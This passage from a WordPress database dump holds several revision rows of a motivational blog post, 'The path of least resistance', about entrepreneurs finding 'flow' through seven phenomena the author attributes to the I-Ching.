seven phenomena that will accelerate your progress,  growth and success. I’m confident you have experienced and recognize one  or more of these during those times when you were experiencing moments  of peak performance:\r\n\r\n<strong>The flow of critical moments</strong>\r\nYou recognize those moments where the game is won or lost. Your sense of  timing, discernment, and decisiveness enables you to capitalize on  opportunity long before anyone else does.\r\n\r\n<strong>The flow of learning cycles</strong>\r\nYou recognize that everything is a learning cycle. The more you play,  the deeper your passion, and the better you get. This knowledge sharpens  your effectiveness in future critical moments.\r\n\r\n<strong>The flow of failing forward</strong>\r\nYou know there are only two kinds of failure­– one gives you learning,  the other ends the game.  When you experience outcomes you don’t want,  you’ll know immediately what to do next to play bigger and better.\r\n\r\n<strong>The flow of your opportunities</strong>\r\nYou recognize there are only two kinds of opportunity. One you create,  the other you attract. You have no problem saying “no” to anything that  keeps you comfortable and holds you back, and you attract only the  opportunities that will continue to expand your scene.\r\n\r\n<strong>The flow of your commitments</strong>\r\nYou know your decision to follow your path is irrevocable. Being certain  and “all in” on your vision demonstrates you faith and escalates your  attraction of resources necessary to make it physical reality.\r\n\r\n<strong> </strong>\r\n\r\n<strong>The flow of your perseverance</strong>\r\nYou know that ideas take their own sweet time coming into form, and you  are willing to persevere on your natural path through thick and thin, no  matter what.\r\n\r\n<strong>The flow of your momentum</strong>\r\nYou recognize that momentum is the force created by the previous six,  all working in harmony to accelerate your performance like a precision  racing motor.\r\n<h2>“What lies behind us and what lies before us are tiny matters compared to what lies within us”.</h2>\r\n– Oliver Wendall Holmes\r\n\r\nFlow is within you not outside of you– the well spring of your flow  is found at the core of your white hot center. You have unique talents,  gifts, capabilities and insight that have always been there. You may  not recognize their value because they are so natural to you. You hardly  give them a second thought.  But if you carefully assess your past peak  moments of performance and brilliance, you will notice a pattern  emerging. That pattern of being and doing is you at genius levels. Do  more of that, delegate or find partners to do everything else!\r\n\r\nYou  must know with certainty the “game you want play”, and follow the rules  of how your game is played. Your growth and success (flow) is  determined by who you are, not by what you do. You can be the best at  what you do, and still not find a way tap in to the greater flow  available for you at the next level of game.\r\n\r\n<strong>At the end of the day, more flow requires playing a bigger game completely aligned to your individual path of least resistance.\r\n</strong>\r\n\r\nPlease share your comments.', 'The path of least resistance', 0, '', 'inherit', 'open', 'open', '', '1026-revision-3', '', '', '2010-08-12 17:52:13', '2010-08-13 00:52:13', '', 1026, 'http://www.whitehotcenter.com/2010/08/12/1026-revision-3/', 0, 'revision', '', 0),
(1031, 2, '2010-08-12 17:55:50', '2010-08-13 00:55:50', '<img class="alignnone size-full wp-image-1027" title="flow" src="http://whc.fbdev.org/wp-content/uploads/2010/08/flow.gif" alt="" width="500" height="289" />\r\n<h2>Let’s talk about “flow”.  Everyone has heard of the idea of “flow  state”–that magical state of peak performance being when you lose track  of time blissfully engaged in an activity you absolutely love!  It’s a  state of being that eludes many creative entrepreneurs and solo  professionals.</h2>\r\nAs trite as it may sound, to experience flow, we  have to step out of our own way and follow our individual path of least  resistance.  That’s what flow is- your individual path of least  resistance! If you don’t walk your own individual path, you’ll never  experience your flow (an awsome life).\r\n\r\nFlow doesn’t just show up  because you want it to. You first have to know who you are, what you  stand for, and how you will create value for people– and play your  natural game. You have to know “who you are” in order for you to align  “what you do” with “who you are”.  Knowing “who you are” is the only  means to experience, with absolute clarity, the path you are walking  (what you do with your time here) is the perfect one for you.  Your own  unique path is the only path in which you will ever experience “flow”­­–  your endless capacity to create and achieve what you desire in an easy  and relaxed way!\r\n<h2><span style="color: #808080;">For many entrepreneurs, what they do is  stressful, and feels like hard work! </span></h2>\r\nBelieve me, if what you are  currently doing to create success feels anything like hard work, that’s  your cue you’re not “walking in your path of least resistance”.   You’re  burning daylight on the wrong path doing all the wrong stuff.  That  stuff keeps you and your business from breaking thru to the next level  of game. Doing the wrong stuff steals your most important business  asset–TIME!\r\n\r\nFollowing your path of least resistance means  choosing to play your own natural game. This will attract other’s to you  who are playing the same game at higher levels than you, new  opportunity and possibilities will seem effortless and endless, and you  will sense that everything and everyone is favorable and supportive to  your ideas.  By now, you’re probably asking yourself “how do I get me  some more flow”?\r\n\r\n<strong>The seven phenomena of flow</strong>\r\nAccording to the 5,000 year old Chinese system of thinking known as the  I-Ching, as you follow your individual path of least resistance, you  will experience seven phenomena that will accelerate your progress,  growth and success. I’m confident you have experienced and recognize one  or more of these during those times when you were experiencing moments  of peak performance:\r\n\r\n<strong>The flow of critical moments</strong>\r\nYou recognize those moments where the game is won or lost. Your sense of  timing, discernment, and decisiveness enables you to capitalize on  opportunity long before anyone else does.\r\n\r\n<strong>The flow of learning cycles</strong>\r\nYou recognize that everything is a learning cycle. The more you play,  the deeper your passion, and the better you get. This knowledge sharpens  your effectiveness in future critical moments.\r\n\r\n<strong>The flow of failing forward</strong>\r\nYou know there are only two kinds of failure­– one gives you learning,  the other ends the game.  When you experience outcomes you don’t want,  you’ll know immediately what to do next to play bigger and better.\r\n\r\n<strong>The flow of new opportunities</strong>\r\nYou recognize there are only two kinds of opportunity. One you create,  the other you attract. You have no problem saying “no” to anything that  keeps you comfortable and holds you back, and you attract only the  opportunities that will continue to expand your scene.\r\n\r\n<strong>The flow of your commitments</strong>\r\nYou know your decision to follow your path is irrevocable. Being certain  and “all in” on your vision demonstrates you faith and escalates your  attraction of resources necessary to make it physical reality.\r\n\r\n<strong> </strong>\r\n\r\n<strong>The flow of your perseverance</strong>\r\nYou know that ideas take their own sweet time coming into form, and you  are willing to persevere on your natural path through thick and thin, no  matter what.\r\n\r\n<strong>The flow of your momentum</strong>\r\nYou recognize that momentum is the force created by the previous six,  all working in harmony to accelerate your performance like a precision  racing motor.\r\n<h2>“What lies behind us and what lies before us are tiny matters compared to what lies within us”.</h2>\r\n– Oliver Wendall Holmes\r\n\r\nFlow is within you not outside of you– the well spring of your flow  is found at the core of your white hot center. You have unique talents,  gifts, capabilities and insight that have always been there. You may  not recognize their value because they are so natural to you. You hardly  give them a second thought.  But if you carefully assess your past peak  moments of performance and brilliance, you will notice a pattern  emerging. That pattern of being and doing is you at genius levels. Do  more of that, delegate or find partners to do everything else!\r\n\r\nYou  must know with certainty the “game you want play”, and follow the rules  of how your game is played. Your growth and success (flow) is  determined by who you are, not by what you do. You can be the best at  what you do, and still not find a way tap in to the greater flow  available for you at the next level of game.\r\n\r\n<strong>At the end of the day, more flow requires playing a bigger game completely aligned to your individual path of least resistance.\r\n</strong>\r\n\r\nPlease share your comments.', 'The path of least resistance', 0, '', 'inherit', 'open', 'open', '', '1026-revision-4', '', '', '2010-08-12 17:55:50', '2010-08-13 00:55:50', '', 1026, 'http://www.whitehotcenter.com/2010/08/12/1026-revision-4/', 0, 'revision', '', 0),
(1032, 2, '2010-08-12 17:56:30', '2010-08-13 00:56:30', '<img class="alignnone size-full wp-image-1027" title="flow" src="http://whc.fbdev.org/wp-content/uploads/2010/08/flow.gif" alt="" width="500" height="289" />\r\n<h2>Let’s talk about “flow”.  Everyone has heard of the idea of “flow  state”–that magical state of peak performance being when you lose track  of time blissfully engaged in an activity you absolutely love!  It’s a  state of being that eludes many creative entrepreneurs and solo  professionals.</h2>\r\nAs trite as it may sound, to experience flow, we  have to step out of our own way and follow our individual path of least  resistance.  That’s what flow is- your individual path of least  resistance! If you don’t walk your own individual path, you’ll never  experience your flow (an awsome life).\r\n\r\nFlow doesn’t just show up  because you want it to. You first have to know who you are, what you  stand for, and how you will create value for people– and play your  natural game. You have to know “who you are” in order for you to align  “what you do” with “who you are”.  Knowing “who you are” is the only  means to experience, with absolute clarity, the path you are walking  (what you do with your time here) is the perfect one for you.  Your own  unique path is the only path in which you will ever experience “flow”­­–  your endless capacity to create and achieve what you desire in an easy  and relaxed way!\r\n<h2><span style="color: #808080;">For many entrepreneurs, what they do is  stressful, and feels like hard work! </span></h2>\r\nBelieve me, if what you are  currently doing to create success feels anything like hard work, that’s  your cue you’re not “walking in your path of least resistance”.   You’re  burning daylight on the wrong path doing all the wrong stuff.  That  stuff keeps you and your business from breaking thru to the next level  of game. Doing the wrong stuff steals your most important business  asset–TIME!\r\n\r\nFollowing your path of least resistance means  choosing to play your own natural game. This will attract other’s to you  who are playing the same game at higher levels than you, new  opportunity and possibilities will seem effortless and endless, and you  will sense that everything and everyone is favorable and supportive to  your ideas.  By now, you’re probably asking yourself “how do I get me  some more flow”?\r\n\r\n<strong>The seven phenomena of flow</strong>\r\nAccording to the 5,000 year old Chinese system of thinking known as the  I-Ching, as you follow your individual path of least resistance, you  will experience seven phenomena that will accelerate your progress,  growth and success. I’m confident you have experienced and recognize one  or more of these during those times when you were experiencing moments  of peak performance:\r\n\r\n<strong>The flow of critical moments</strong>\r\nYou recognize those moments where the game is won or lost. Your sense of  timing, discernment, and decisiveness enables you to capitalize on  opportunity long before anyone else does.\r\n\r\n<strong>The flow of learning cycles</strong>\r\nYou recognize that everything is a learning cycle. The more you play,  the deeper your passion, and the better you get. This knowledge sharpens  your effectiveness in future critical moments.\r\n\r\n<strong>The flow of failing forward</strong>\r\nYou know there are only two kinds of failure­– one gives you learning,  the other ends the game.  When you experience outcomes you don’t want,  you’ll know immediately what to do next to play bigger and better.\r\n\r\n<strong>The flow of new opportunities</strong>\r\nYou recognize there are only two kinds of opportunity. One you create,  the other you attract. You have no problem saying “no” to anything that  keeps you comfortable and holds you back, and you attract only the  opportunities that will continue to expand your scene.\r\n\r\n<strong>The flow of your commitments</strong>\r\nYou know your decision to follow your path is irrevocable. Being certain  and “all in” on your vision demonstrates you faith and escalates your  attraction of resources necessary to make it physical reality.\r\n\r\n<strong> </strong>\r\n\r\n<strong>The flow of your perseverance</strong>\r\nYou know that ideas take their own sweet time coming into form, and you  are willing to persevere on your natural path through thick and thin, no  matter what.\r\n\r\n<strong>The flow of your momentum</strong>\r\nYou recognize that momentum is the force created by the previous six,  all working in harmony to accelerate your performance like a precision  racing motor.\r\n<h2>“What lies behind us and what lies before us are tiny matters compared to what lies within us”.</h2>\r\n– Oliver Wendall Holmes\r\n\r\nFlow is within you not outside of you– the well spring of your flow  is found at the core of your white hot center. You have unique talents,  gifts, capabilities and insight that have always been there. You may  not recognize their value because they are so natural to you. You hardly  give them a second thought.  But if you carefully assess your past peak  moments of performance and brilliance, you will notice a pattern  emerging. That pattern of being and doing is you at genius levels. Do  more of that, delegate or find partners to do everything else!\r\n\r\nYou  must know with certainty the “game you want play”, and follow the rules  of how your game is played. Your growth and success (flow) is  determined by who you are, not by what you do. You can be the best at  what you do, and still not find a way tap in to the greater flow  available for you at the next level of game.\r\n\r\n<strong>At the end of the day, more flow requires playing a bigger game completely aligned to your individual path of least resistance.\r\n</strong>\r\n\r\nPlease share your comments.', 'The path of least resistance to create flow mojo.', 0, '', 'inherit', 'open', 'open', '', '1026-revision-5', '', '', '2010-08-12 17:56:30', '2010-08-13 00:56:30', '', 1026, 'http://www.whitehotcenter.com/2010/08/12/1026-revision-5/', 0, 'revision', '', 0),
(1033, 2, '2010-08-12 17:56:41', '2010-08-13 00:56:41', '<img class="alignnone size-full wp-image-1027" title="flow" src="http://whc.fbdev.org/wp-content/uploads/2010/08/flow.gif" alt="" width="500" height="289" />\r\n<h2>Let’s talk about “flow”.  Everyone has heard of the idea of “flow  state”–that magical state of peak performance being when you lose track  of time blissfully engaged in an activity you absolutely love!  It’s a  state of being that eludes many creative entrepreneurs and solo  professionals.</h2>\r\nAs trite as it may sound, to experience flow, we  have to step out of our own way and follow our individual path of least  resistance.  That’s what flow is- your individual path of least  resistance! If you don’t walk your own individual path, you’ll never  experience your flow (an awsome life).\r\n\r\nFlow doesn’t just show up  because you want it to. You first have to know who you are, what you  stand for, and how you will create value for people– and play your  natural game. You have to know “who you are” in order for you to align  “what you do” with “who you are”.  Knowing “who you are” is the only  means to experience, with absolute clarity, the path you are walking  (what you do with your time here) is the perfect one for you.  Your own  unique path is the only path in which you will ever experience “flow”­­–  your endless capacity to create and achieve what you desire in an easy  and relaxed way!\r\n<h2><span style="color: #808080;">For many entrepreneurs, what they do is  stressful, and feels like hard work! </span></h2>\r\nBelieve me, if what you are  currently doing to create success feels anything like hard work, that’s  your cue you’re not “walking in your path of least resistance”.   You’re  burning daylight on the wrong path doing all the wrong stuff.  That  stuff keeps you and your business from breaking thru to the next level  of game. Doing the wrong stuff steals your most important business  asset–TIME!\r\n\r\nFollowing your path of least resistance means  choosing to play your own natural game. This will attract other’s to you  who are playing the same game at higher levels than you, new  opportunity and possibilities will seem effortless and endless, and you  will sense that everything and everyone is favorable and supportive to  your ideas.  By now, you’re probably asking yourself “how do I get me  some more flow”?\r\n\r\n<strong>The seven phenomena of flow</strong>\r\nAccording to the 5,000 year old Chinese system of thinking known as the  I-Ching, as you follow your individual path of least resistance, you  will experience seven phenomena that will accelerate your progress,  growth and success. I’m confident you have experienced and recognize one  or more of these during those times when you were experiencing moments  of peak performance:\r\n\r\n<strong>The flow of critical moments</strong>\r\nYou recognize those moments where the game is won or lost. Your sense of  timing, discernment, and decisiveness enables you to capitalize on  opportunity long before anyone else does.\r\n\r\n<strong>The flow of learning cycles</strong>\r\nYou recognize that everything is a learning cycle. The more you play,  the deeper your passion, and the better you get. This knowledge sharpens  your effectiveness in future critical moments.\r\n\r\n<strong>The flow of failing forward</strong>\r\nYou know there are only two kinds of failure­– one gives you learning,  the other ends the game.  When you experience outcomes you don’t want,  you’ll know immediately what to do next to play bigger and better.\r\n\r\n<strong>The flow of new opportunities</strong>\r\nYou recognize there are only two kinds of opportunity. One you create,  the other you attract. You have no problem saying “no” to anything that  keeps you comfortable and holds you back, and you attract only the  opportunities that will continue to expand your scene.\r\n\r\n<strong>The flow of your commitments</strong>\r\nYou know your decision to follow your path is irrevocable. Being certain  and “all in” on your vision demonstrates you faith and escalates your  attraction of resources necessary to make it physical reality.\r\n\r\n<strong> </strong>\r\n\r\n<strong>The flow of your perseverance</strong>\r\nYou know that ideas take their own sweet time coming into form, and you  are willing to persevere on your natural path through thick and thin, no  matter what.\r\n\r\n<strong>The flow of your momentum</strong>\r\nYou recognize that momentum is the force created by the previous six,  all working in harmony to accelerate your performance like a precision  racing motor.\r\n<h2>“What lies behind us and what lies before us are tiny matters compared to what lies within us”.</h2>\r\n– Oliver Wendall Holmes\r\n\r\nFlow is within you not outside of you– the well spring of your flow  is found at the core of your white hot center. You have unique talents,  gifts, capabilities and insight that have always been there. You may  not recognize their value because they are so natural to you. You hardly  give them a second thought.  But if you carefully assess your past peak  moments of performance and brilliance, you will notice a pattern  emerging. That pattern of being and doing is you at genius levels. Do  more of that, delegate or find partners to do everything else!\r\n\r\nYou  must know with certainty the “game you want play”, and follow the rules  of how your game is played. Your growth and success (flow) is  determined by who you are, not by what you do. You can be the best at  what you do, and still not find a way tap in to the greater flow  available for you at the next level of game.\r\n\r\n<strong>At the end of the day, more flow requires playing a bigger game completely aligned to your individual path of least resistance.\r\n</strong>\r\n\r\nPlease share your comments.', 'The path of least resistance to create flow mojo.', 0, '', 'inherit', 'open', 'open', '', '1026-revision-6', '', '', '2010-08-12 17:56:41', '2010-08-13 00:56:41', '', 1026, 'http://www.whitehotcenter.com/2010/08/12/1026-revision-6/', 0, 'revision', '', 0),
(1034, 2, '2010-08-12 17:59:44', '2010-08-13 00:59:44', '<img class="alignnone size-full wp-image-1027" title="flow" src="http://whc.fbdev.org/wp-content/uploads/2010/08/flow.gif" alt="" width="500" height="289" />\r\n<h2>Let’s talk about “flow”.  Everyone has heard of the idea of “flow  state”–that magical state of peak performance being when you lose track  of time blissfully engaged in an activity you absolutely love!  It’s a  state of being that eludes many creative entrepreneurs and solo  professionals.</h2>\r\nAs trite as it may sound, to experience flow, we  have to step out of our own way and follow our individual path of least  resistance.  That’s what flow is- your individual path of least  resistance! If you don’t walk your own individual path, you’ll never  experience your flow (an awsome life).\r\n\r\nFlow doesn’t just show up  because you want it to. You first have to know who you are, what you  stand for, and how you will create value for people– and play your  natural game. You have to know “who you are” in order for you to align  “what you do” with “who you are”.  Knowing “who you are” is the only  means to experience, with absolute clarity, the path you are walking  (what you do with your time here) is the perfect one for you.  Your own  unique path is the only path in which you will ever experience “flow”­­–  your endless capacity to create and achieve what you desire in an easy  and relaxed way!\r\n<h2><span style="color: #808080;">For many entrepreneurs, what they do is  stressful, and feels like hard work! </span></h2>\r\nBelieve me, if what you are  currently doing to create success feels anything like hard work, that’s  your cue you’re not “walking in your path of least resistance”.   You’re  burning daylight on the wrong path doing all the wrong stuff.  That  stuff keeps you and your business from breaking thru to the next level  of game. Doing the wrong stuff steals your most important business  asset–TIME!\r\n\r\nFollowing your path of least resistance means  choosing to play your own natural game. This will attract other’s to you  who are playing the same game at higher levels than you, new  opportunity and possibilities will seem effortless and endless, and you  will sense that everything and everyone is favorable and supportive to  your ideas.\r\n<h2><span style="color: #808080;">By now, you’re probably asking yourself “how do I get me  some more flow mojo”?</span></h2>\r\n<strong>The seven phenomena of flow</strong>\r\nAccording to the 5,000 year old Chinese system of thinking known as the  I-Ching, as you follow your individual path of least resistance, you  will experience seven phenomena that will accelerate your progress,  growth and success. I’m confident you have experienced and recognize one  or more of these during those times when you were experiencing moments  of peak performance:\r\n\r\n<strong>The flow of critical moments</strong>\r\nYou recognize those moments where the game is won or lost. Your sense of  timing, discernment, and decisiveness enables you to capitalize on  opportunity long before anyone else does.\r\n\r\n<strong>The flow of learning cycles</strong>\r\nYou recognize that everything is a learning cycle. The more you play,  the deeper your passion, and the better you get. This knowledge sharpens  your effectiveness in future critical moments.\r\n\r\n<strong>The flow of failing forward</strong>\r\nYou know there are only two kinds of failure­– one gives you learning,  the other ends the game.  When you experience outcomes you don’t want,  you’ll know immediately what to do next to play bigger and better.\r\n\r\n<strong>The flow of new opportunities</strong>\r\nYou recognize there are only two kinds of opportunity. One you create,  the other you attract. You have no problem saying “no” to anything that  keeps you comfortable and holds you back, and you attract only the  opportunities that will continue to expand your scene.\r\n\r\n<strong>The flow of your commitments</strong>\r\nYou know your decision to follow your path is irrevocable. Being certain  and “all in” on your vision demonstrates you faith and escalates your  attraction of resources necessary to make it physical reality.\r\n\r\n<strong> </strong>\r\n\r\n<strong>The flow of your perseverance</strong>\r\nYou know that ideas take their own sweet time coming into form, and you  are willing to persevere on your natural path through thick and thin, no  matter what.\r\n\r\n<strong>The flow of your momentum</strong>\r\nYou recognize that momentum is the force created by the previous six,  all working in harmony to accelerate your performance like a precision  racing motor.\r\n<h2>“What lies behind us and what lies before us are tiny matters compared to what lies within us”.</h2>\r\n– Oliver Wendall Holmes\r\n\r\nFlow is within you not outside of you– the well spring of your flow  is found at the core of your white hot center. You have unique talents,  gifts, capabilities and insight that have always been there. You may  not recognize their value because they are so natural to you. You hardly  give them a second thought.  But if you carefully assess your past peak  moments of performance and brilliance, you will notice a pattern  emerging. That pattern of being and doing is you at genius levels. Do  more of that, delegate or find partners to do everything else!\r\n\r\nYou  must know with certainty the “game you want play”, and follow the rules  of how your game is played. Your growth and success (flow) is  determined by who you are, not by what you do. You can be the best at  what you do, and still not find a way tap in to the greater flow  available for you at the next level of game.\r\n\r\n<strong>At the end of the day, more flow requires playing a bigger game completely aligned to your individual path of least resistance.\r\n</strong>\r\n\r\nPlease share your comments.', 'The path of least resistance to create flow mojo.', 0, '', 'inherit', 'open', 'open', '', '1026-revision-7', '', '', '2010-08-12 17:59:44', '2010-08-13 00:59:44', '', 1026, 'http://www.whitehotcenter.com/2010/08/12/1026-revision-7/', 0, 'revision', '', 0),
(1035, 2, '2010-08-12 17:59:55', '2010-08-13 00:59:55', '<img class="alignnone size-full wp-image-1027" title="flow" src="http://whc.fbdev.org/wp-content/uploads/2010/08/flow.gif" alt="" width="500" height="289" />\r\n<h2>Let’s talk about “flow”.  Everyone has heard of the idea of “flow  state”–that magical state of peak performance being when you lose track  of time blissfully engaged in an activity you absolutely love!  It’s a  state of being that eludes many creative entrepreneurs and solo  professionals.</h2>\r\nAs trite as it may sound, to experience flow, we  have to step out of our own way and follow our individual path of least  resistance.  That’s what flow is- your individual path of least  resistance! If you don’t walk your own individual path, you’ll never  experience your flow (an awsome life).\r\n\r\nFlow doesn’t just show up  because you want it to. You first have to know who you are, what you  stand for, and how you will create value for people– and play your  natural game. You have to know “who you are” in order for you to align  “what you do” with “who you are”.  Knowing “who you are” is the only  means to experience, with absolute clarity, the path you are walking  (what you do with your time here) is the perfect one for you.  Your own  unique path is the only path in which you will ever experience “flow”­­–  your endless capacity to create and achieve what you desire in an easy  and relaxed way!\r\n<h2><span style="color: #808080;">For many entrepreneurs, what they do is  stressful, and feels like hard work! </span></h2>\r\nBelieve me, if what you are  currently doing to create success feels anything like hard work, that’s  your cue you’re not “walking in your path of least resistance”.   You’re  burning daylight on the wrong path doing all the wrong stuff.  That  stuff keeps you and your business from breaking thru to the next level  of game. Doing the wrong stuff steals your most important business  asset–TIME!\r\n\r\nFollowing your path of least resistance means  choosing to play your own natural game. This will attract other’s to you  who are playing the same game at higher levels than you, new  opportunity and possibilities will seem effortless and endless, and you  will sense that everything and everyone is favorable and supportive to  your ideas.\r\n<h2><span style="color: #808080;">By now, you’re probably asking yourself “how do I get me  some more flow mojo”?</span></h2>\r\n<strong>The seven phenomena of flow</strong>\r\nAccording to the 5,000 year old Chinese system of thinking known as the  I-Ching, as you follow your individual path of least resistance, you  will experience seven phenomena that will accelerate your progress,  growth and success. I’m confident you have experienced and recognize one  or more of these during those times when you were experiencing moments  of peak performance:\r\n\r\n<strong>The flow of critical moments</strong>\r\nYou recognize those moments where the game is won or lost. Your sense of  timing, discernment, and decisiveness enables you to capitalize on  opportunity long before anyone else does.\r\n\r\n<strong>The flow of learning cycles</strong>\r\nYou recognize that everything is a learning cycle. The more you play,  the deeper your passion, and the better you get. This knowledge sharpens  your effectiveness in future critical moments.\r\n\r\n<strong>The flow of failing forward</strong>\r\nYou know there are only two kinds of failure­– one gives you learning,  the other ends the game.  When you experience outcomes you don’t want,  you’ll know immediately what to do next to play bigger and better.\r\n\r\n<strong>The flow of new opportunities</strong>\r\nYou recognize there are only two kinds of opportunity. One you create,  the other you attract. You have no problem saying “no” to anything that  keeps you comfortable and holds you back, and you attract only the  opportunities that will continue to expand your scene.\r\n\r\n<strong>The flow of your commitments</strong>\r\nYou know your decision to follow your path is irrevocable. Being certain  and “all in” on your vision demonstrates you faith and escalates your  attraction of resources necessary to make it physical reality.\r\n\r\n<strong> </strong>\r\n\r\n<strong>The flow of your perseverance</strong>\r\nYou know that ideas take their own sweet time coming into form, and you  are willing to persevere on your natural path through thick and thin, no  matter what.\r\n\r\n<strong>The flow of your momentum</strong>\r\nYou recognize that momentum is the force created by the previous six,  all working in harmony to accelerate your performance like a precision  racing motor.\r\n<h2>“What lies behind us and what lies before us are tiny matters compared to what lies within us”.</h2>\r\n– Oliver Wendall Holmes\r\n\r\nFlow is within you not outside of you– the well spring of your flow  is found at the core of your white hot center. You have unique talents,  gifts, capabilities and insight that have always been there. You may  not recognize their value because they are so natural to you. You hardly  give them a second thought.  But if you carefully assess your past peak  moments of performance and brilliance, you will notice a pattern  emerging. That pattern of being and doing is you at genius levels. Do  more of that, delegate or find partners to do everything else!\r\n\r\nYou  must know with certainty the “game you want play”, and follow the rules  of how your game is played. Your growth and success (flow) is  determined by who you are, not by what you do. You can be the best at  what you do, and still not find a way tap in to the greater flow  available for you at the next level of game.\r\n\r\n<strong>At the end of the day, more flow requires playing a bigger game completely aligned to your individual path of least resistance.\r\n</strong>\r\n\r\nPlease share your comments.', 'The path of least resistance to create flow mojo.', 0, '', 'inherit', 'open', 'open', '', '1026-revision-8', '', '', '2010-08-12 17:59:55', '2010-08-13 00:59:55', '', 1026, 'http://www.whitehotcenter.com/2010/08/12/1026-revision-8/', 0, 'revision', '', 0);
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(1036, 2, '2010-08-12 18:04:35', '2010-08-13 01:04:35', '<img class="alignnone size-full wp-image-1027" title="flow" src="http://whc.fbdev.org/wp-content/uploads/2010/08/flow.gif" alt="" width="500" height="289" />\r\n<h2>Let’s talk about “flow”.  Everyone has heard of the idea of “flow  state”–that magical state of peak performance being when you lose track  of time blissfully engaged in an activity you absolutely love!  It’s a  state of being that eludes many creative entrepreneurs and solo  professionals.</h2>\r\nAs trite as it may sound, to experience flow, we  have to step out of our own way and follow our individual path of least  resistance.  That’s what flow is- your individual path of least  resistance! If you don’t walk your own individual path, you’ll never  experience your flow (an awsome life).\r\n\r\nFlow doesn’t just show up  because you want it to. You first have to know who you are, what you  stand for, and how you will create value for people– and play your  natural game. You have to know “who you are” in order for you to align  “what you do” with “who you are”.  Knowing “who you are” is the only  means to experience, with absolute clarity, the path you are walking  (what you do with your time here) is the perfect one for you.  Your own  unique path is the only path in which you will ever experience “flow”­­–  your endless capacity to create and achieve what you desire in an easy  and relaxed way!\r\n<h2><span style="color: #808080;">For many entrepreneurs, what they do is  stressful, and feels like hard work! </span></h2>\r\nBelieve me, if what you are  currently doing to create success feels anything like hard work, that’s  your cue you’re not “walking in your path of least resistance”.   You’re  burning daylight on the wrong path doing all the wrong stuff.  That  stuff keeps you and your business from breaking thru to the next level  of game. Doing the wrong stuff steals your most important business  asset–TIME!\r\n\r\nFollowing your path of least resistance means  choosing to play your own natural game. This will attract other’s to you  who are playing the same game at higher levels than you, new  opportunity and possibilities will seem effortless and endless, and you  will sense that everything and everyone is favorable and supportive to  your ideas.\r\n<h2><span style="color: #808080;">By now, you’re probably asking yourself “how do I get me  some more flow mojo”?</span></h2>\r\n<strong>The seven phenomena of flow</strong>\r\nAccording to the 5,000 year old Chinese system of thinking known as the  I-Ching, as you follow your individual path of least resistance, you  will experience seven phenomena that will accelerate your progress,  growth and success. I’m confident you have experienced and recognize one  or more of these during those times when you were experiencing moments  of peak performance:\r\n\r\n<strong>The flow of critical moments</strong>\r\nYou recognize those moments where the game is won or lost. Your sense of  timing, discernment, and decisiveness enables you to capitalize on  opportunity long before anyone else does.\r\n\r\n<strong>The flow of learning cycles</strong>\r\nYou recognize that everything is a learning cycle. The more you play,  the deeper your passion, and the better you get. This knowledge sharpens  your effectiveness in future critical moments.\r\n\r\n<strong>The flow of failing forward</strong>\r\nYou know there are only two kinds of failure­– one gives you learning,  the other ends the game.  When you experience outcomes you don’t want,  you’ll know immediately what to do next to play bigger and better.\r\n\r\n<strong>The flow of new opportunities</strong>\r\nYou recognize there are only two kinds of opportunity. One you create,  the other you attract. You have no problem saying “no” to anything that  keeps you comfortable and holds you back, and you attract only the  opportunities that will continue to expand your scene.\r\n\r\n<strong>The flow of your commitments</strong>\r\nYou know your decision to follow your path is irrevocable. Being certain  and “all in” on your vision demonstrates your faith and escalates your  attraction of resources necessary to make it physical reality.\r\n\r\n<strong> </strong>\r\n\r\n<strong>The flow of your perseverance</strong>\r\nYou know that ideas take their own sweet time coming into form, and you  are willing to persevere on your natural path through thick and thin, no  matter what.\r\n\r\n<strong>The flow of your momentum</strong>\r\nYou recognize that momentum is the force created by the previous six,  all working in harmony to accelerate your performance like a precision  racing motor.\r\n<h2><span style="color: #808080;">“What lies behind us and what lies before us are tiny matters compared to what lies within us”.</span></h2>\r\n<span style="color: #808080;"><strong>– Oliver Wendall Holmes</strong></span>\r\n\r\nFlow is within you not outside of you– the well spring of your flow  is found at the core of your white hot center. You have unique talents,  gifts, capabilities and insight that have always been there. You may  not recognize their value because they are so natural to you. You hardly  give them a second thought.  But if you carefully assess your past peak  moments of performance and brilliance, you will notice a pattern  emerging. That pattern of being and doing is you at genius levels. Do  more of that, delegate or find partners to do everything else!\r\n\r\nYou  must know with certainty the “game you want play”, and follow the rules  of how your game is played. Your growth and success (flow) is  determined by who you are, not by what you do. You can be the best at  what you do, and still not find a way tap in to the greater flow  available for you at the next level of game.\r\n\r\n<strong>At the end of the day, more flow requires playing a bigger game completely aligned to your individual path of least resistance.\r\n</strong>\r\n\r\nPlease share your comments.', 'The path of least resistance to create flow mojo.', 0, '', 'inherit', 'open', 'open', '', '1026-revision-9', '', '', '2010-08-12 18:04:35', '2010-08-13 01:04:35', '', 1026, 'http://www.whitehotcenter.com/2010/08/12/1026-revision-9/', 0, 'revision', '', 0),
(1037, 2, '2010-08-12 18:13:32', '2010-08-13 01:13:32', '<img class="alignnone size-full wp-image-1027" title="flow" src="http://whc.fbdev.org/wp-content/uploads/2010/08/flow.gif" alt="" width="500" height="289" />\n<h2>Let’s talk about the idea of “flow”. Everyone has heard of the “flow  state”–that magical state of peak performance being when you lose track  of time blissfully and effortlessly engaged in an activity you absolutely love!  It’s a  state of being that eludes many creative entrepreneurs and solo  professionals who are stuck in their businessess.</h2>\nAs trite as it may sound, to experience flow, we  have to step out of our own way and follow our individual path of least  resistance.  That’s what flow is- your individual path of least  resistance! If you don’t walk your own individual path, you’ll never  experience your flow (an awesome life).\n\nFlow doesn’t just show up  because you want it to. You first have to know who you are, what you  stand for, and how you will create value for people– and play your  natural game. You have to know “who you are” in order for you to align  “what you do” with “who you are”.  Knowing “who you are” is the only  means to experience, with absolute clarity, the path you are walking  (what you do with your time here) is the perfect one for you.  Your own  unique path is the only path in which you will ever experience “flow”­­–  your endless capacity to create and achieve what you desire in an easy  and relaxed way!\n<h2><span style="color: #808080;">For many entrepreneurs, what they do is  stressful, and feels like hard work! </span></h2>\nBelieve me, if what you are  currently doing to create success feels anything like hard work, that’s  your cue you’re not “walking in your path of least resistance”.   You’re  burning daylight on the wrong path doing all the wrong stuff.  That  stuff keeps you and your business from breaking thru to the next level  of game. Doing the wrong stuff steals your most important business  asset–TIME!\n\nFollowing your path of least resistance means  choosing to play your own natural game. This will attract other’s to you  who are playing the same game at higher levels than you, new  opportunity and possibilities will seem effortless and endless, and you  will sense that everything and everyone is favorable and supportive to  your ideas.\n<h2><span style="color: #808080;">By now, you’re probably asking yourself “how do I get me  some more flow mojo”?</span></h2>\n<strong>The seven phenomena of flow</strong>\nAccording to the 5,000 year old Chinese system of thinking known as the  